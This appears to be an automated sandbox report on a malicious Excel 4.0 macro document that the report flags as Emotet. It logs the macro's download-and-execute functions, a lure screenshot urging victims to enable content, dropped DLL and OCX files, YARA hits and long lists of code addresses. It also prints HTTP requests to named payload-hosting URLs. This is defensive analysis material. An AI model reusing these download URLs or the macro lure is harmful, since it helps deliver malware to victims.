Jump to behavior

Source: unknown

DNS traffic detected: queries for: vipteck.com

Source: C:\Windows\System32\regsvr32.exe

Code function: 4_2_0000000180006B24 InternetReadFile,

4_2_0000000180006B24

Source: global traffic	HTTP traffic detected: GET /wp-admin/user/B8d6jr4pBND2HExAmI/lJWa95VlQ/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: vipteck.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-admin/iMc/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: airliftlimo.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-admin/user/B8d6jr4pBND2HExAmI/lJWa95VlQ/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: vipteck.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /tgroup.ge/x4bc2kL4BzGAeUsVi/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: salledemode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-admin/VWlAz5vWJNHDb/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: kabeonet.plConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-admin/VWlAz5vWJNHDb/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.kabeonet.plConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 188.114.97.10:443 -> 192.168.2.22:49174 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 159.203.19.2:443 -> 192.168.2.22:49176 version: TLS 1.2

E-Banking Fraud

Yara detected Emotet

Source: Yara match	File source: 7.2.regsvr32.exe.1f00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.regsvr32.exe.1f00000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.3c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.regsvr32.exe.2c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.regsvr32.exe.2c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.3c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.regsvr32.exe.1f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.regsvr32.exe.1c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.regsvr32.exe.2010000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.regsvr32.exe.2010000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.regsvr32.exe.1c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.regsvr32.exe.1f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.925945389.00000000003C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.936818785.0000000002010000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1223804747.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1223146291.00000000001F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.936929041.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.943746358.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1223136184.00000000001C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1223965620.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1223736851.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.943475793.00000000002C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1223393241.0000000001F00000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

System Summary

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Source: Screenshot number: 4	Screenshot OCR: Enable Editing and click Enable Content. 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
Source: Screenshot number: 4	Screenshot OCR: Enable Content. 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
Source: Screenshot number: 8	Screenshot OCR: Enable Editing and click Enable Content. 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 :: "7?
Source: Screenshot number: 8	Screenshot OCR: Enable Content. 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 :: "7?. 19 20 21 22 23 24

Found malicious Excel 4.0 Macro

Source: melimar.com.xls	Macro extractor: Sheet: PKEKPPGEKKPGE contains: URLDownloadToFileA
Source: melimar.com.xls	Macro extractor: Sheet: PKEKPPGEKKPGE contains: URLDownloadToFileA

Office process drops PE file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr1.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr3.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\klJrMZJhgldiJr6j0XWPeZOiGs[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\RD05UTHGkitvIJt[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr2.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\me435CErJsFGw1q[1].dll	Jump to dropped file

Found Excel 4.0 Macro with suspicious formulas

Source: melimar.com.xls	Initial sample: EXEC
Source: melimar.com.xls	Initial sample: EXEC

Source: C:\Windows\System32\regsvr32.exe

File created: C:\Windows\system32\HtkzwckLMRsIno\

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D212B0	3_2_000007FEF9D212B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D25E01	3_2_000007FEF9D25E01
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D25CAD	3_2_000007FEF9D25CAD
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D26850	3_2_000007FEF9D26850
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D2443C	3_2_000007FEF9D2443C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D253FB	3_2_000007FEF9D253FB
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D24A70	3_2_000007FEF9D24A70
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_003B0000	3_2_003B0000
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180005C74	3_2_0000000180005C74
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002ACE8	3_2_000000018002ACE8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180020118	3_2_0000000180020118
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000359C	3_2_000000018000359C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000E99C	3_2_000000018000E99C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180019628	3_2_0000000180019628
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180025A4C	3_2_0000000180025A4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002B7B2	3_2_000000018002B7B2
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180009408	3_2_0000000180009408
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180023C14	3_2_0000000180023C14
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180006414	3_2_0000000180006414
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002582C	3_2_000000018002582C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000B834	3_2_000000018000B834
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000403C	3_2_000000018000403C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180021444	3_2_0000000180021444
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180012044	3_2_0000000180012044
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180016054	3_2_0000000180016054
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001705C	3_2_000000018001705C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180001870	3_2_0000000180001870
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001F878	3_2_000000018001F878
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180014484	3_2_0000000180014484
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180015494	3_2_0000000180015494
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000BC98	3_2_000000018000BC98
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180008C9C	3_2_0000000180008C9C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800078A4	3_2_00000001800078A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001F0A8	3_2_000000018001F0A8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001E4AC	3_2_000000018001E4AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800048B0	3_2_00000001800048B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001ACB4	3_2_000000018001ACB4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800090B4	3_2_00000001800090B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800270C0	3_2_00000001800270C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800024C0	3_2_00000001800024C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800280C8	3_2_00000001800280C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800050D4	3_2_00000001800050D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800234D8	3_2_00000001800234D8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800150F0	3_2_00000001800150F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180012500	3_2_0000000180012500
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180024104	3_2_0000000180024104
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001A10C	3_2_000000018001A10C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180028D10	3_2_0000000180028D10
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001A524	3_2_000000018001A524
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180002D28	3_2_0000000180002D28
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000E130	3_2_000000018000E130
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180029134	3_2_0000000180029134
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180008134	3_2_0000000180008134
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180022140	3_2_0000000180022140
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180006954	3_2_0000000180006954
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000F554	3_2_000000018000F554
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002B564	3_2_000000018002B564
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180012168	3_2_0000000180012168
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180013568	3_2_0000000180013568
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180024570	3_2_0000000180024570
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180019178	3_2_0000000180019178
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180025180	3_2_0000000180025180
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180001980	3_2_0000000180001980
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180021588	3_2_0000000180021588
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001A988	3_2_000000018001A988
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180018190	3_2_0000000180018190
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180013994	3_2_0000000180013994
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180028998	3_2_0000000180028998
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800061A0	3_2_00000001800061A0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800135A6	3_2_00000001800135A6
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180016DA8	3_2_0000000180016DA8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800059AC	3_2_00000001800059AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800135B4	3_2_00000001800135B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001C1B8	3_2_000000018001C1B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800025B8	3_2_00000001800025B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800085BC	3_2_00000001800085BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800015C0	3_2_00000001800015C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800295C8	3_2_00000001800295C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800229CC	3_2_00000001800229CC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000E5D4	3_2_000000018000E5D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002A5D8	3_2_000000018002A5D8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800261E0	3_2_00000001800261E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800079EC	3_2_00000001800079EC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180023624	3_2_0000000180023624
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180018628	3_2_0000000180018628
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180017E2C	3_2_0000000180017E2C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180017638	3_2_0000000180017638
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180004E3C	3_2_0000000180004E3C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180020E40	3_2_0000000180020E40
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180015A64	3_2_0000000180015A64
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180015264	3_2_0000000180015264
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000A26C	3_2_000000018000A26C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180007678	3_2_0000000180007678
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001667C	3_2_000000018001667C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180012680	3_2_0000000180012680
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180001E88	3_2_0000000180001E88
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000968C	3_2_000000018000968C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180022290	3_2_0000000180022290
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180026A90	3_2_0000000180026A90
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000529C	3_2_000000018000529C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180020AA0	3_2_0000000180020AA0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180022AAC	3_2_0000000180022AAC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180007EB4	3_2_0000000180007EB4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800162BC	3_2_00000001800162BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800252C0	3_2_00000001800252C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001AEC8	3_2_000000018001AEC8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001F6DC	3_2_000000018001F6DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800026DC	3_2_00000001800026DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180002ADC	3_2_0000000180002ADC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001E2F4	3_2_000000018001E2F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180016AF4	3_2_0000000180016AF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000DEF4	3_2_000000018000DEF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001DEFC	3_2_000000018001DEFC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180006308	3_2_0000000180006308
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001370C	3_2_000000018001370C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180004B18	3_2_0000000180004B18
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180015F24	3_2_0000000180015F24
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180006B24	3_2_0000000180006B24
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000F328	3_2_000000018000F328
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180021738	3_2_0000000180021738
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002AF38	3_2_000000018002AF38
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180028348	3_2_0000000180028348
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000DB4C	3_2_000000018000DB4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180014F50	3_2_0000000180014F50
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000B350	3_2_000000018000B350
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000A758	3_2_000000018000A758
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002975C	3_2_000000018002975C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180024370	3_2_0000000180024370
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180008370	3_2_0000000180008370
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180015774	3_2_0000000180015774
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180012378	3_2_0000000180012378
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180026B98	3_2_0000000180026B98
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001CF9C	3_2_000000018001CF9C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001EBA0	3_2_000000018001EBA0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001B3A4	3_2_000000018001B3A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000D7AC	3_2_000000018000D7AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800053B0	3_2_00000001800053B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180015BB8	3_2_0000000180015BB8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800207BC	3_2_00000001800207BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000FFC0	3_2_000000018000FFC0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800173DC	3_2_00000001800173DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180018BDC	3_2_0000000180018BDC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00130000	4_2_00130000
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000C819	4_2_000000018000C819
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180019628	4_2_0000000180019628
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180025A4C	4_2_0000000180025A4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001705C	4_2_000000018001705C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180012864	4_2_0000000180012864
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180005C74	4_2_0000000180005C74
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800248B0	4_2_00000001800248B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800252C0	4_2_00000001800252C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800024C0	4_2_00000001800024C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180006B24	4_2_0000000180006B24
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180006F2C	4_2_0000000180006F2C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000A758	4_2_000000018000A758
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180024570	4_2_0000000180024570
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000E99C	4_2_000000018000E99C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001B3A4	4_2_000000018001B3A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800079EC	4_2_00000001800079EC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180009408	4_2_0000000180009408
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180023C14	4_2_0000000180023C14
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180006414	4_2_0000000180006414
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180023624	4_2_0000000180023624
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180018628	4_2_0000000180018628
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018002582C	4_2_000000018002582C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180017E2C	4_2_0000000180017E2C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000B834	4_2_000000018000B834
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180017638	4_2_0000000180017638
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000403C	4_2_000000018000403C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180004E3C	4_2_0000000180004E3C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180020E40	4_2_0000000180020E40
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180021444	4_2_0000000180021444
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180012044	4_2_0000000180012044
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180016054	4_2_0000000180016054
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180015A64	4_2_0000000180015A64
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180015264	4_2_0000000180015264
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000A26C	4_2_000000018000A26C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180001870	4_2_0000000180001870
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001F878	4_2_000000018001F878
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180007678	4_2_0000000180007678
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001667C	4_2_000000018001667C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180012680	4_2_0000000180012680
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180014484	4_2_0000000180014484
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180001E88	4_2_0000000180001E88
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000968C	4_2_000000018000968C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180022290	4_2_0000000180022290
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180026A90	4_2_0000000180026A90
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180015494	4_2_0000000180015494
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000BC98	4_2_000000018000BC98
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000529C	4_2_000000018000529C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180008C9C	4_2_0000000180008C9C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180020AA0	4_2_0000000180020AA0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800078A4	4_2_00000001800078A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001F0A8	4_2_000000018001F0A8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180022AAC	4_2_0000000180022AAC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001E4AC	4_2_000000018001E4AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800048B0	4_2_00000001800048B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001ACB4	4_2_000000018001ACB4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180007EB4	4_2_0000000180007EB4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800090B4	4_2_00000001800090B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800162BC	4_2_00000001800162BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800270C0	4_2_00000001800270C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800280C8	4_2_00000001800280C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001AEC8	4_2_000000018001AEC8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800050D4	4_2_00000001800050D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800234D8	4_2_00000001800234D8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001F6DC	4_2_000000018001F6DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800026DC	4_2_00000001800026DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180002ADC	4_2_0000000180002ADC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018002ACE8	4_2_000000018002ACE8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800150F0	4_2_00000001800150F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001E2F4	4_2_000000018001E2F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180016AF4	4_2_0000000180016AF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000DEF4	4_2_000000018000DEF4
